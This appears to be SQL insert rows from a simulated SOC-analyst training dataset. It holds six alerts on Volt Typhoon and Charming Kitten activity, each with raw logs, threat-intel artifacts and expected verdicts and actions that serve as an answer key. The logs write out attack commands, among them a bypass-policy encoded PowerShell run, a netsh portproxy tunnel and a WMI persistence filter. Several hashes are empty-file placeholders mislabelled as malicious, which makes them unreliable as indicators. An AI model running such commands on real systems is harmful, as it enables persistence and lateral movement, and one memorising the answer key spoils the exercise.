(438, 'Unusual PowerShell Execution Detected', 'high', 'SIEM logs', 'Volt Typhoon initiates their campaign by executing obfuscated PowerShell scripts to avoid detection and gather preliminary system information.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:00Z\",\"event_id\":4688,\"host\":{\"hostname\":\"workstation-23\",\"internal_ip\":\"10.0.5.23\",\"os\":\"Windows 10\"},\"user\":{\"username\":\"jdoe\",\"domain\":\"CORP\",\"user_id\":\"S-1-5-21-123456789-123456789-123456789-1001\"},\"process\":{\"pid\":4567,\"name\":\"powershell.exe\",\"path\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand aW1wb3J0LX1zZXRDbHkgLnN5c3RlbS5pbmZv\"},\"network\":{\"source_ip\":\"10.0.5.23\",\"destination_ip\":\"203.0.113.15\",\"destination_port\":443,\"protocol\":\"TCP\"},\"file\":{\"name\":\"recon.ps1\",\"path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\recon.ps1\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}}', '2026-01-04 23:57:09', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known C2 server used by Volt Typhoon\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as part of a known malicious script\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"recon.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual script execution for user profile\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(439, 'Suspicious WMI Activity Spotted', 'high', 'Endpoint detection and response (EDR) alerts', 'The attackers leverage WMI to create persistent footholds, enabling them to execute scripts remotely whenever the system restarts. Detected WMI subscription creation on host with persistent script execution capabilities.', 'Persistence', 'T1084', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T11:32:45Z\",\"event_id\":\"4624\",\"host_ip\":\"192.168.1.15\",\"attacker_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"wmi_class\":\"ActiveScriptEventConsumer\",\"wmi_filter\":\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA \'Win32_Process\'\",\"wmi_consumer\":\"malicious_script.js\",\"hash\":\"3d2e1f5a3a4b8c9e123456789abcdef0\",\"description\":\"WMI subscription detected for persistent access\",\"process\":\"wmiprvse.exe\"}', '2026-01-04 23:57:10', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d2e1f5a3a4b8c9e123456789abcdef0\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious script used in APT campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"malicious\",\"details\":\"Script used in attacks for remote execution.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_account_audit\",\"verdict\":\"suspicious\",\"details\":\"User account has been flagged for unusual activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(440, 'Anomalous netsh Configuration Changes', 'high', 'Network traffic analysis', 'Detected suspicious netsh configuration changes potentially used for creating tunnels across the network. This activity is consistent with lateral movement tactics employed by the Volt Typhoon APT group.', 'Lateral Movement', 'T1570: Lateral Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:25:43Z\",\"event_type\":\"network\",\"source_ip\":\"10.0.3.45\",\"destination_ip\":\"192.168.1.100\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"action\":\"netsh interface portproxy add v4tov4 listenport=3389 listenaddress=10.0.3.45 connectport=3389 connectaddress=192.168.1.100\",\"process_name\":\"netsh.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"netsh.exe\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-01-04 23:57:10', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.3.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal source IP used in suspicious netsh command.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal destination IP targeted by netsh command.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Volt Typhoon activity.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Known hash for netsh.exe, legitimate system utility.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR\",\"verdict\":\"internal\",\"details\":\"Employee account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'NULL', 1, 0, NULL),
(441, 'Unexpected Remote Desktop Protocol (RDP) Sessions', 'high', 'RDP logs', 'An unauthorized remote session was detected from an external IP address, indicating a potential lateral movement attempt. The session accessed a high-value system within the network, suggesting an advanced attempt to expand network foothold.', 'Lateral Movement', 'T1021.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:53Z\",\"event_id\":\"4624\",\"logon_type\":10,\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"admin_user\",\"hostname\":\"CORP-SERVER01\",\"logon_process\":\"User32\",\"authentication_package\":\"Negotiate\",\"logon_guid\":\"{b1a2b3c4-1d2e-3f45-6789-abcdef123456}\",\"transmitted_services\":\"-\",\"lm_package_name\":\"NTLM\",\"key_length\":128}', '2026-01-04 23:57:10', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple attacks in the past.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal high-value server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Unexpected use of account during non-business hours.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NULL', 1, 0, NULL),
(442, 'Stealthy Data Exfiltration via Encrypted Channels', 'critical', 'Data loss prevention (DLP) systems', 'In the final stage, Volt Typhoon exfiltrates gathered intelligence through encrypted channels, ensuring the data leaves the network unnoticed.', 'Exfiltration', 'T1048.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:24:00Z\",\"event_id\":\"EXP-2023-10-15-0001\",\"source_ip\":\"10.0.0.23\",\"destination_ip\":\"203.0.113.45\",\"encryption_protocol\":\"TLSv1.3\",\"destination_port\":443,\"data_size\":\"5GB\",\"user\":\"jdoe\",\"file_hash\":\"9c6f4e1a7c3b2b0e6f9d1234567890ab1234567890abcdef1234567890abcdef\",\"filename\":\"confidential_data.zip\",\"process\":\"exfiltrator.exe\",\"internal_network\":\"192.168.1.0/24\",\"external_domain\":\"malicious-exfiltration.com\"}', '2026-01-04 23:57:10', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"9c6f4e1a7c3b2b0e6f9d1234567890ab1234567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used by Volt Typhoon.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Potential exfiltration of sensitive data.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"malicious-exfiltration.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Intelligence\",\"verdict\":\"malicious\",\"details\":\"Domain linked to malicious exfiltration activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(443, 'Phishing Email Detected', 'medium', 'Email Security Gateway', 'A phishing email was detected posing as an interview request. The email was sent from a known malicious IP address linked to Charming Kitten APT group, attempting to entice the target to engage.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:55:32Z\",\"email_id\":\"785e6a2f-1b7a-4f3c-bd8f-5d8f560f1f83\",\"from\":\"hr@fakecompany.com\",\"to\":\"targetuser@victimcompany.com\",\"subject\":\"Interview Request\",\"attacker_ip\":\"185.92.26.82\",\"recipient_ip\":\"192.168.1.15\",\"malicious_link\":\"http://malicious-link.com/interview\",\"attachment_name\":\"Interview_Schedule.pdf\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-04 23:59:37', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.26.82\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with Charming Kitten APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted user.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-link.com/interview\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Phishing URL used for credential harvesting.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"suspicious\",\"details\":\"Hash of a known phishing document.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'Beginner', 'NULL', 1, 0, NULL);

